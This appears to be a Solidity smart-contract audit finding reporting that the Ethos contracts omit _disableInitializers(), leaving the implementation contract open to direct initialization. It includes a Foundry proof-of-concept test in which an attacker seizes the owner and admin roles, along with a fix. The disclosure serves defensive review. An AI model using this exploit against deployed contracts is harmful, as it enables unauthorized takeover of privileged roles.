Skip to content

Latest commit

 

History

History
160 lines (124 loc) · 6.24 KB

File metadata and controls

160 lines (124 loc) · 6.24 KB

Micro Garnet Gecko

Medium

Attacker will gain control of implementation contract due to lack of _disableInitializers()

Summary

A missing initialization lock in EthosVoch, EthosProfile, EthosReview, EthosAttestation, EthosVote, and ReputationMarket will cause an access control vulnerability for the implementation contract as an attacker will be able to initialize the implementation contract directly and gain owner/admin privileges.

Root Cause

In EthosVouch.sol the implementation contract misses the _disableInitializers() call in the constructor which is required for UUPS upgradeable contracts to prevent direct initialization attacks.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

The implementation contract suffers a complete access control bypass. The attacker gains full owner and admin privileges on the implementation contract. Screenshot 2024-10-29 at 07 55 34

PoC

contract EthosVouchImplementationTest is Test {
    EthosVouch public implementation;
    EthosVouch public proxy;
    address public owner;
    address public admin;
    address public expectedSigner;
    address public signatureVerifier;
    address public contractAddressManager;
    address public weth;
    address public attacker;
    error InvalidInitialization();

    event Initialized(uint8 version);

    function setUp() public {
        // Setup accounts
        owner = makeAddr("owner");
        admin = makeAddr("admin");
        expectedSigner = makeAddr("expectedSigner");
        signatureVerifier = makeAddr("signatureVerifier");
        contractAddressManager = makeAddr("contractAddressManager");
        weth = makeAddr("weth");
        attacker = makeAddr("attacker");

        // Deploy implementation
        implementation = new EthosVouch();
        
        // Deploy proxy
        bytes memory initData = abi.encodeWithSelector(
            EthosVouch.initialize.selector,
            owner,
            admin,
            expectedSigner,
            signatureVerifier,
            contractAddressManager,
            weth
        );
        
        ERC1967Proxy proxyContract = new ERC1967Proxy(
            address(implementation),
            initData
        );
        proxy = EthosVouch(address(proxyContract));
    }

    function testImplementationInitializationVulnerability() public {
        // check if owner has role
        bool hasRole = proxy.hasRole(proxy.OWNER_ROLE(), owner);
        assertTrue(hasRole, "Proxy should be initialized with correct owner");
        emit Initialized(1);
        
        vm.startPrank(attacker);
        
        // Attempt to initialize the implementation contract directly
        implementation.initialize(
            attacker, // Set attacker as owner
            attacker, // Set attacker as admin
            expectedSigner,
            signatureVerifier,
            contractAddressManager,
            weth
        );
        
        vm.stopPrank();
        
        // check if owner has role
        bool attackerHasOwnerRole = implementation.hasRole(implementation.OWNER_ROLE(), attacker);
        bool attackerHasAdminRole = implementation.hasRole(implementation.ADMIN_ROLE(), attacker);
        assertTrue(attackerHasOwnerRole, "Implementation owner should be attacker");
        assertTrue(attackerHasAdminRole, "Implementation admin should be attacker");

        // check the proxy owner
        bool proxyHasOwnerRole = proxy.hasRole(proxy.OWNER_ROLE(), owner);
        console.log("Proxy owner role: ", proxyHasOwnerRole);

        // Demonstrate potential impact
        vm.startPrank(attacker);
        
        // The attacker can now call privileged functions on the implementation
        implementation.setMinimumVouchAmount(1 ether); // Change minimum vouch amount
        assertEq(implementation.configuredMinimumVouchAmount(), 1 ether, "Attacker should be able to modify state");
        
        vm.stopPrank();
    }
    
    function testRecommendedFix() public {
        // Test showing how the vulnerability can be fixed
        // Create a new contract with constructor that calls _disableInitializers()
        EthosVouchFixed fixedImplementation = new EthosVouchFixed();
        
        // Attempt to initialize the fixed implementation should fail
        // vm.expectRevert("Initializable: contract is already initialized");
        vm.expectRevert(InvalidInitialization.selector);
        fixedImplementation.initialize(
            attacker,
            attacker,
            expectedSigner,
            signatureVerifier,
            contractAddressManager,
            weth
        );
    }
}

// Example of fixed contract
contract EthosVouchFixed is EthosVouch {
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }
}

Mitigation

Kindly add a disable the lock of the implementation contract.

constructor() {
    // ensure logic contract initializer is not abused by disabling initializing
    // see https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301
    // and https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#initializing_the_implementation_contract
    _disableInitializers();
  }

Screenshot 2024-10-29 at 07 57 03